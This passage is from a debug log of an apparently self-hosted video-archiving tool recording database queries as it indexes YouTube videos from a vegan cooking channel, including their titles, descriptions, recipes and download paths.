\u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN Grocery Haul Under $100! Plant-based & gluten-free finds 🌿", "a9a5fe1d-f686-4be1-bf92-11e5f9b08faa", 1, [], false, "XEh1r53-cNc", "https://www.youtube.com/watch?v=XEh1r53-cNc", 256, "/downloads/downloads/alec/Steamy Vegan/2023-10-19 VEGAN Grocery Haul Under $100! Plant-based & gluten-free finds 🌿/VEGAN Grocery Haul Under $100! Plant-based & gluten-free finds 🌿 [XEh1r53-cNc].NA", false, false, false, 1, ~U[2023-10-19 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this vegan and gluten-free grocery haul I'll show you what I eat in a week and the price of everything we bought in Vancouver, Canada. 🇨🇦 \n\nTOTAL SPENT = $126 CAD / $92 USD\n\nLeave us a comment and let us know what you love to buy at Costco! We'd also love to know what Costco USA 🇺🇸 has for vegans as we're only 45 minutes away from a US location over the border. 🚗\n\nCheck out this other FALL COSTCO HAUL video ⬇️ \n\u00A0\u00A0\u00A0•\u00A0COSTCO\u00A0FALL\u00A0GROCERY\u00A0HAUL!\u00A0Vegan\u00A0&\u00A0Gluten-F...\u00A0\u00A0\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN Grocery Haul Under $100! Plant-based & gluten-free finds 🌿", 1, nil, false, "XEh1r53-cNc", "https://www.youtube.com/watch?v=XEh1r53-cNc", "/downloads/downloads/alec/Steamy Vegan/2023-10-19 VEGAN Grocery Haul Under $100! Plant-based & gluten-free finds 🌿/VEGAN Grocery Haul Under $100! Plant-based & gluten-free finds 🌿 [XEh1r53-cNc].NA", false, ~U[2023-10-19 00:00:00Z]] 20:31:07.985 [debug] QUERY OK source="sources" db=0.6ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.987 [debug] QUERY OK source="media_items" db=2.4ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-17 00:00:00Z], 1] 20:31:07.990 [debug] QUERY OK source="media_items" db=1.8ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is everything I ate in a day to help me recover from a cold! Just simple, nourishing and realistic meals that were, as always, vegan and gluten-free. And also pretty comforting!\n\nCHECK OUT MY FALL RECIPES PLAYLIST! ➡️ \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\n✨Recipes in video ✨\n\nMORNING GREEN SMOOTHIE\nsoy milk\nspinach\nginger\nlime\norange\nbeetroot\ncelery\nbroccoli\nchia & flax seeds\nprotein powder\n\nTURMERIC, BEET & GINGER SOUP (recipe on my blog ➡️ https://steamyvegan.com/beet-turmeric...)\n\nPUMPKIN CURRY (watch my cozy one pot meals video for recipe ➡️ \u00A0\u00A0\u00A0•\u00A0COZY\u00A0&\u00A0Cheap\u00A0ONE\u00A0POT\u00A0Vegan\u00A0Recipes\u00A0that\u00A0Wa...\u00A0\u00A0)\n\nMORE FALL RECIPES ⬇️\nHow to Make Pumpkin Purée ➡️ \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Pumpkin\u00A0Puree!\u00A0🎃\u00A0Secret\u00A0ingredien...\u00A0\u00A0\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nChocolate Chip Pumpkin Spice Mini Scones ➡️ \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nCozy Instant Pot Soup Recipes ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nVegan Broccoli Cheese Soup ➡️ \u00A0\u00A0\u00A0•\u00A0Easy\u00A0Vegan\u00A0Broccoli\u00A0and\u00A0Cheese\u00A0Soup🥦🧀\u00A0|\u00A0He...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "REALISTIC What I eat in a day to recover from a cold (Vegan, gluten-free)", "a8d762b1-06c7-44db-8b9b-9bbf65522a24", 1, [], false, "TV9pFQwb6M0", "https://www.youtube.com/watch?v=TV9pFQwb6M0", 257, "/downloads/downloads/alec/Steamy Vegan/2023-10-17 REALISTIC What I eat in a day to recover from a cold (Vegan, gluten-free)/REALISTIC What I eat in a day to recover from a cold (Vegan, gluten-free) [TV9pFQwb6M0].NA", false, false, false, 1, ~U[2023-10-17 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This is everything I ate in a day to help me recover from a cold! Just simple, nourishing and realistic meals that were, as always, vegan and gluten-free. And also pretty comforting!\n\nCHECK OUT MY FALL RECIPES PLAYLIST! ➡️ \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\n✨Recipes in video ✨\n\nMORNING GREEN SMOOTHIE\nsoy milk\nspinach\nginger\nlime\norange\nbeetroot\ncelery\nbroccoli\nchia & flax seeds\nprotein powder\n\nTURMERIC, BEET & GINGER SOUP (recipe on my blog ➡️ https://steamyvegan.com/beet-turmeric...)\n\nPUMPKIN CURRY (watch my cozy one pot meals video for recipe ➡️ \u00A0\u00A0\u00A0•\u00A0COZY\u00A0&\u00A0Cheap\u00A0ONE\u00A0POT\u00A0Vegan\u00A0Recipes\u00A0that\u00A0Wa...\u00A0\u00A0)\n\nMORE FALL RECIPES ⬇️\nHow to Make Pumpkin Purée ➡️ \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Pumpkin\u00A0Puree!\u00A0🎃\u00A0Secret\u00A0ingredien...\u00A0\u00A0\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nChocolate Chip Pumpkin Spice Mini Scones ➡️ \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nCozy Instant Pot Soup Recipes ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nVegan Broccoli Cheese Soup ➡️ \u00A0\u00A0\u00A0•\u00A0Easy\u00A0Vegan\u00A0Broccoli\u00A0and\u00A0Cheese\u00A0Soup🥦🧀\u00A0|\u00A0He...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "REALISTIC What I eat in a day to recover from a cold (Vegan, gluten-free)", 1, nil, false, "TV9pFQwb6M0", "https://www.youtube.com/watch?v=TV9pFQwb6M0", "/downloads/downloads/alec/Steamy Vegan/2023-10-17 REALISTIC What I eat in a day to recover from a cold (Vegan, gluten-free)/REALISTIC What I eat in a day to recover from a cold (Vegan, gluten-free) [TV9pFQwb6M0].NA", false, ~U[2023-10-17 00:00:00Z]] 20:31:07.991 [debug] QUERY OK source="sources" db=0.7ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.994 [debug] QUERY OK source="media_items" db=1.9ms idle=8.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-15 00:00:00Z], 1] 20:31:07.996 [debug] QUERY OK source="media_items" db=1.4ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I tried making vegan and gluten-free Pumpkin Date Cake*... was it an *EPIC FAIL 😱 or a *MASTERPIECE*? 🤩 Sometimes you just never know what you're going to get with vegan gluten-free baking! \n\nI tried to recreate my Grandma's Date Loaf recipe and transform it into a cake using plant-based and gluten-free swaps. If you want to try it out for yourself the adapted recipe is below!\n\n¾ cups chopped dates soaked in ¾ cup hot water, let cool\n½ cup coconut/brown sugar\n½ cup pumpkin purée\n1 flax egg\n¼ tsp salt\nJuice and zest of 1 orange\n1 tsp baking soda\n1 tbsp baking powder\n1½ cups gluten-free all purpose flour\n1 tsp cinnamon\n¼ tsp nutmeg\n¼ tsp ginger\n½ tsp cloves\n\n1. In a large mixing bowl strain the medjool date soaking liquid and add the coconut sugar, pumpkin purée, flax egg, and orange zest and juice and whisk to combine. \n2. In a separate bowl whisk to combine the flour, salt, baking soda, baking powder and spices.\n3. Add the dry ingredients to the wet and stir to combine. Fold in the walnuts and soaked chopped dates. Pour into lightly oiled cake pan and smooth with a spatula into an even layer. Bake for 30 minutes at 350F\nTO MAKE A LOAF INSTEAD: Pour batter into a parchment lined loaf tin and bake for 50-60 minutes at 350F until an inserted toothpick comes out clean.\n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nMORE FALL RECIPES ⬇️\nHow to Make Pumpkin Purée ➡️ \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Pumpkin\u00A0Puree!\u00A0🎃\u00A0Secret\u00A0ingredien...\u00A0\u00A0\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nChocolate Chip Pumpkin Spice Mini Scones ➡️ \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nCozy Instant Pot Soup Recipes ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nVegan Broccoli Cheese Soup ➡️ \u00A0\u00A0\u00A0•\u00A0Easy\u00A0Vegan\u00A0Broccoli\u00A0and\u00A0Cheese\u00A0Soup🥦🧀\u00A0|\u00A0He...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Pumpkin Date Cake Recipe! EPIC FAIL or MASTERPIECE?", "9e81da15-172e-4ead-9425-12b1f8e7cc44", 1, [], false, "NGSfpSlfvgw", "https://www.youtube.com/watch?v=NGSfpSlfvgw", 258, "/downloads/downloads/alec/Steamy Vegan/2023-10-15 Pumpkin Date Cake Recipe! EPIC FAIL or MASTERPIECE?/Pumpkin Date Cake Recipe! EPIC FAIL or MASTERPIECE? [NGSfpSlfvgw].NA", false, false, false, 1, ~U[2023-10-15 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "I tried making vegan and gluten-free Pumpkin Date Cake*... was it an *EPIC FAIL 😱 or a *MASTERPIECE*? 🤩 Sometimes you just never know what you're going to get with vegan gluten-free baking! \n\nI tried to recreate my Grandma's Date Loaf recipe and transform it into a cake using plant-based and gluten-free swaps. If you want to try it out for yourself the adapted recipe is below!\n\n¾ cups chopped dates soaked in ¾ cup hot water, let cool\n½ cup coconut/brown sugar\n½ cup pumpkin purée\n1 flax egg\n¼ tsp salt\nJuice and zest of 1 orange\n1 tsp baking soda\n1 tbsp baking powder\n1½ cups gluten-free all purpose flour\n1 tsp cinnamon\n¼ tsp nutmeg\n¼ tsp ginger\n½ tsp cloves\n\n1. In a large mixing bowl strain the medjool date soaking liquid and add the coconut sugar, pumpkin purée, flax egg, and orange zest and juice and whisk to combine. \n2. In a separate bowl whisk to combine the flour, salt, baking soda, baking powder and spices.\n3. Add the dry ingredients to the wet and stir to combine. Fold in the walnuts and soaked chopped dates. Pour into lightly oiled cake pan and smooth with a spatula into an even layer. Bake for 30 minutes at 350F\nTO MAKE A LOAF INSTEAD: Pour batter into a parchment lined loaf tin and bake for 50-60 minutes at 350F until an inserted toothpick comes out clean.\n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nMORE FALL RECIPES ⬇️\nHow to Make Pumpkin Purée ➡️ \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Pumpkin\u00A0Puree!\u00A0🎃\u00A0Secret\u00A0ingredien...\u00A0\u00A0\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nChocolate Chip Pumpkin Spice Mini Scones ➡️ \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nCozy Instant Pot Soup Recipes ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nVegan Broccoli Cheese Soup ➡️ \u00A0\u00A0\u00A0•\u00A0Easy\u00A0Vegan\u00A0Broccoli\u00A0and\u00A0Cheese\u00A0Soup🥦🧀\u00A0|\u00A0He...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Pumpkin Date Cake Recipe! EPIC FAIL or MASTERPIECE?", 1, nil, false, "NGSfpSlfvgw", "https://www.youtube.com/watch?v=NGSfpSlfvgw", "/downloads/downloads/alec/Steamy Vegan/2023-10-15 Pumpkin Date Cake Recipe! EPIC FAIL or MASTERPIECE?/Pumpkin Date Cake Recipe! EPIC FAIL or MASTERPIECE? [NGSfpSlfvgw].NA", false, ~U[2023-10-15 00:00:00Z]] 20:31:07.996 [debug] QUERY OK source="sources" db=0.4ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.000 [debug] QUERY OK source="media_items" db=3.7ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-11 00:00:00Z], 1] 20:31:08.016 [debug] QUERY OK source="media_items" db=14.7ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["From breakfast to dinner this is everything I ate in a day on 🇨🇦🍂 *Canadian Thanksgiving*🍂🇨🇦 as a vegan. I made some of my favourite family recipes and transformed them into delicious plant-based dishes. We had vegan turkey, my favourite sweet potato recipe, stuffing and more!\n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nBreakfast: CHOCOLATE ORANGE BAKED OATMEAL (recipe HERE ➡️ \u00A0\u00A0\u00A0•\u00A0Cozy\u00A0&\u00A0Healthy\u00A0Vegan\u00A0Breakfast\u00A0Ideas\u00A0For\u00A0F...\u00A0\u00A0)\n\nLunch: WILD MUSHROOM SOUP\nSautéed onion, rosemary & sage\nMushroom soup mix\nWater & canned coconut milk\n1 lb. mushrooms\n\nThanksgiving dinner 🍂🧡\nMAPLE SPICED YAMS full recipe in ’Super Simple Side Dishes Part 1’ video ➡️ \u00A0\u00A0\u00A0•\u00A0SUPER\u00A0SIMPLE\u00A0SIDE\u00A0DISHES\u00A0|\u00A03\u00A0delicious\u00A0veg...\u00A0\u00A0) \n\nHARVARD BEETS (full recipe in ‘Super Simple Side Dishes Part 2’ video ➡️ \u00A0\u00A0\u00A0•\u00A0SUPER\u00A0SIMPLE\u00A0SIDE\u00A0DISHES\u00A0|\u00A03\u00A0delicious\u00A0veg...\u00A0\u00A0)\n\nPUMPKIN CORNBREAD STUFFING\n1 batch of pumpkin cornbread, cut into cubes and left overnight to dry (full recipe ➡️ https://www.steamyvegan.com/pumpkin-c... \n¼ cup vegan butter or margarine\n1 large onion, diced\n3 stalks celery, diced\n½ cup dried cranberries\n½ cup chopped pecans\n1 tsp poultry seasoning\n2 tsp chopped fresh rosemary\n2 tsp chopped fresh sage\n2 large carrots, grated\n2 to 3 cups veggie broth, hot\nSalt and pepper to taste\n\n1. Melt the butter in a large saucepan and add the onion, celery, salt, pepper, fresh herbs and poultry seasoning. Stir to combine and sauté for 5 minutes, until the onions and celery are softened and becoming translucent.\n2. Add the dried cranberries and continue cooking for another 2 to 3 minutes until they’ve become just plump. Remove from the heat and set aside.\n3. Meanwhile, grate the carrots into a large mixing bowl. Add the chopped pecans, breadcrumbs, cooked veggies and stir well to combine. Then add 1 cup of hot broth and pour over the stuffing mix. Stir to combine very well ensuring that each breadcrumb has been moistened. Cover the bowl with a lid or plate and let it sit for 5 minutes to soak up the broth. Repeat with the second cup of broth until the breadcrumbs are moist but not completely soaked and mushy.\n4. Transfer to a buttered casserole dish, cover with foil and bake for 30 minutes at 350°F, then remove the foil and baked uncovered for another 15 minutes.\n\nSOY CURL TURKEY & GRAVY\nGravy\n2 tbsp vegan butter\n¼ cup gluten-free all purpose flour\n½ tbsp nutritional yeast\n1 tsp poultry seasoning\nSalt and pepper to taste \n3 cups vegan chick’n or veggie broth\n1 tbsp Mirin or white wine\n1 cup yellow onion, diced\n1 package Butler soy curls, rehydrated and strained\n\n1. Melt the butter in a large saucepan on medium heat. Gradually whisk in the flour until it’s dissolved in the butter into a roux. Add the nutritional yeast, salt and pepper, poultry seasoning salt and pepper and whisk to combine. Then slowly and gradually pour in the broth a little bit at a time, whisking vigorously to ensure no lumps remain. \n2. Stir in the diced onion and Mirin/white wine. Turn heat down to medium-low, whisking frequently as the gravy thickens, for another 5 minutes.\n3. Add in the hydrated soy curls and stir to combine into the gravy. Allow them to heat through, adjust seasonings to taste and remove from the heat.\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN What I Eat in a Day! Cozy FALL recipes & Thanksgiving Dinner! 🍁", "9f9d8219-25f8-43dd-b997-9ff5ce84b989", 1, [], false, "RNkFPXfFjo4", "https://www.youtube.com/watch?v=RNkFPXfFjo4", 259, "/downloads/downloads/alec/Steamy Vegan/2023-10-11 VEGAN What I Eat in a Day! Cozy FALL recipes & Thanksgiving Dinner! 🍁/VEGAN What I Eat in a Day! Cozy FALL recipes & Thanksgiving Dinner! 🍁 [RNkFPXfFjo4].NA", false, false, false, 1, ~U[2023-10-11 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "From breakfast to dinner this is everything I ate in a day on 🇨🇦🍂 *Canadian Thanksgiving*🍂🇨🇦 as a vegan. I made some of my favourite family recipes and transformed them into delicious plant-based dishes. We had vegan turkey, my favourite sweet potato recipe, stuffing and more!\n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nBreakfast: CHOCOLATE ORANGE BAKED OATMEAL (recipe HERE ➡️ \u00A0\u00A0\u00A0•\u00A0Cozy\u00A0&\u00A0Healthy\u00A0Vegan\u00A0Breakfast\u00A0Ideas\u00A0For\u00A0F...\u00A0\u00A0)\n\nLunch: WILD MUSHROOM SOUP\nSautéed onion, rosemary & sage\nMushroom soup mix\nWater & canned coconut milk\n1 lb. mushrooms\n\nThanksgiving dinner 🍂🧡\nMAPLE SPICED YAMS full recipe in ’Super Simple Side Dishes Part 1’ video ➡️ \u00A0\u00A0\u00A0•\u00A0SUPER\u00A0SIMPLE\u00A0SIDE\u00A0DISHES\u00A0|\u00A03\u00A0delicious\u00A0veg...\u00A0\u00A0) \n\nHARVARD BEETS (full recipe in ‘Super Simple Side Dishes Part 2’ video ➡️ \u00A0\u00A0\u00A0•\u00A0SUPER\u00A0SIMPLE\u00A0SIDE\u00A0DISHES\u00A0|\u00A03\u00A0delicious\u00A0veg...\u00A0\u00A0)\n\nPUMPKIN CORNBREAD STUFFING\n1 batch of pumpkin cornbread, cut into cubes and left overnight to dry (full recipe ➡️ https://www.steamyvegan.com/pumpkin-c... \n¼ cup vegan butter or margarine\n1 large onion, diced\n3 stalks celery, diced\n½ cup dried cranberries\n½ cup chopped pecans\n1 tsp poultry seasoning\n2 tsp chopped fresh rosemary\n2 tsp chopped fresh sage\n2 large carrots, grated\n2 to 3 cups veggie broth, hot\nSalt and pepper to taste\n\n1. Melt the butter in a large saucepan and add the onion, celery, salt, pepper, fresh herbs and poultry seasoning. Stir to combine and sauté for 5 minutes, until the onions and celery are softened and becoming translucent.\n2. Add the dried cranberries and continue cooking for another 2 to 3 minutes until they’ve become just plump. Remove from the heat and set aside.\n3. Meanwhile, grate the carrots into a large mixing bowl. Add the chopped pecans, breadcrumbs, cooked veggies and stir well to combine. Then add 1 cup of hot broth and pour over the stuffing mix. Stir to combine very well ensuring that each breadcrumb has been moistened. Cover the bowl with a lid or plate and let it sit for 5 minutes to soak up the broth. Repeat with the second cup of broth until the breadcrumbs are moist but not completely soaked and mushy.\n4. Transfer to a buttered casserole dish, cover with foil and bake for 30 minutes at 350°F, then remove the foil and baked uncovered for another 15 minutes.\n\nSOY CURL TURKEY & GRAVY\nGravy\n2 tbsp vegan butter\n¼ cup gluten-free all purpose flour\n½ tbsp nutritional yeast\n1 tsp poultry seasoning\nSalt and pepper to taste \n3 cups vegan chick’n or veggie broth\n1 tbsp Mirin or white wine\n1 cup yellow onion, diced\n1 package Butler soy curls, rehydrated and strained\n\n1. Melt th (truncated) 20:31:08.018 [debug] QUERY OK source="sources" db=1.4ms idle=22.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", 